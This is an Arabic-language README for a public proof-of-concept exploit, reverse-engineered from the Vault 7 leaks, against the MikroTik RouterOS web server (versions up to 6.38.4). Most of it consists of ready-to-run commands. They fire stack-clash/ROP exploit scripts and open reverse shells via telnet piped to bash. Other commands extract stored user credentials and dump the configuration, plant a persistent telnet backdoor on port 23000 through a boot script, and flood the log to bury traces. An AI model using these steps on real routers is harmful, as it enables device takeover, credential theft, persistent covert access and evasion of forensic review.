
POC عملي لاستغلال Mikrotik من تسريبات Vault 7 الخاصة بـ CIA
هندسة عكسية لاستغلال ثغرة Mikrotik من تسريبات Vault 7 CIA
راجع PDF لمزيد من المعلومات (غير محدّث)
حتى RouterOS 6.38.4
الجديد في 6.38.5 (2017-Mar-09 11:32): !) www - تم إصلاح ثغرة خادم http;
انهيار بسيط بإرسال -1 كـ content-length في ترويسة post
استغلال Stack clash باستخدام خيطين، مع غياب سلسلة ROP
بما أن ROP يُنشأ ديناميكياً، عليك استخراج ثنائي www من فيرموير RouterOS.
(موجود في /nova/bin/)
تحقق من أن الإصدار العامل هو نفسه.
لتبسيط الاستخراج يمكنك استخدام:
$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary
استغلال Stack clash باستخدام خيطين مع سلسلة ROP لتشغيل أوامر bash
في shell:
$ nc -l -p 1234
في shell آخر:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"
حيث:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (wait some seconds that www is restarted)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -
يمكنك تنفيذ أمر في وحدة تحكم Mikrotik باستخدام /nova/bin/info.
مثال: /nova/bin/info "/system reboot" سيعيد تشغيل النظام.
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (it's a bit slow to execute /export command)
$ curl -s http://192.168.8.1/winbox/index
استغلال Stack clash باستخدام خيطين مع سلسلة ROP + shell code لتشغيل أوامر bash في إصدار mips من www تكون المكدسة RWX، لذا يمكننا القفز إلى المكدسة.
يمكنك تشغيل نفس أمر bash الخاص بإصدار x86.
أمر طريف
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

لا تفعلها! ;-P
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"
لرفع busybox-mips إلى /ram/busybox
في shell:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; } | nc -l -q 0 -p 1234
في shell آخر (لاحظ أن هذا هو أمر reverse shell):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
وانتظر حتى يُغلق الاتصال تلقائياً.
(بمجرد رفع الملف، شغّل reverse shell مرة أخرى (هذه المرة بالاستماع فقط باستخدام nc -l -p 1234) وستجد busybox داخل /ram/)
يمكنك تشغيل سكربت عند كل إقلاع بإنشاء سكربت bash في /flash/etc/rc.d/run.d/.
انتبه لضبط صلاحيات التنفيذ، وإلا سيتعطل الراوتر عند الإقلاع وستضطر لاستعادة الفيرموير!
هذا المثال يفعّل خادم telnet دائماً على المنفذ 23000.
في shell:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234
في shell آخر (لاحظ أن هذا هو أمر reverse shell):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
وانتظر حتى يظهر Done! Rebooting....
بمجرد أن يعود الراوتر للعمل:
$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.
MikroTik v6.38.4 (stable)
/ #
إعادة استخدام مقبس http لفتح shell، بحيث يمكنك الحصول على shell دون اتصال عكسي.
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode
Got root ;-)
لرفع busybox-mips إلى /ram/busybox
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox
[...]
Uploading busybox-mips in /ram/busybox...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]
يُدعم فقط ملفات RGB Bitmap 24 bit (غير مضغوطة). الحجم الأقصى: عرض 160px، ارتفاع 76px يمكنك إيجاد نموذج هنا
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
reboot
*** Connection closed by remote host ***

لإزالة السجلات بعد إجراءاتك اللاحقة للاستغلال
/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"
هذه هندسة عكسية لوثائق CIA مسرّبة. لا يوجد chimay-red.py متاح للعموم.
سأحدّث PDF بمجرد أن يتوفر لدي وقت كافٍ، على أي حال: نحن نعلم أن:
بفضل Content-Length وماكرو alloca يمكننا التحكم في Stack Pointer وفي المكان الذي ستُكتب فيه بيانات post. إذا أرسلنا Content-Length أكبر من 128KB إلى مقبس الخيط A، سيشير Stack Pointer إلى داخل مكدسة خيط آخر (B)، وبالتالي ستُكتب بيانات POST (الخاصة بالخيط A) داخل مكدسة الخيط B (في أي موضع نريده، نحتاج فقط لضبط قيمة Content-Length). إذن الآن يمكننا كتابة سلسلة ROP في مكدسة الخيط B بدءاً من موضع يُحفظ فيه عنوان الإرجاع. عندما نغلق مقبس الخيط B، ستبدأ سلسلة ROP لأن الدالة التي تنتظر البيانات ستعود (لكن إلى عنواننا المعدّل).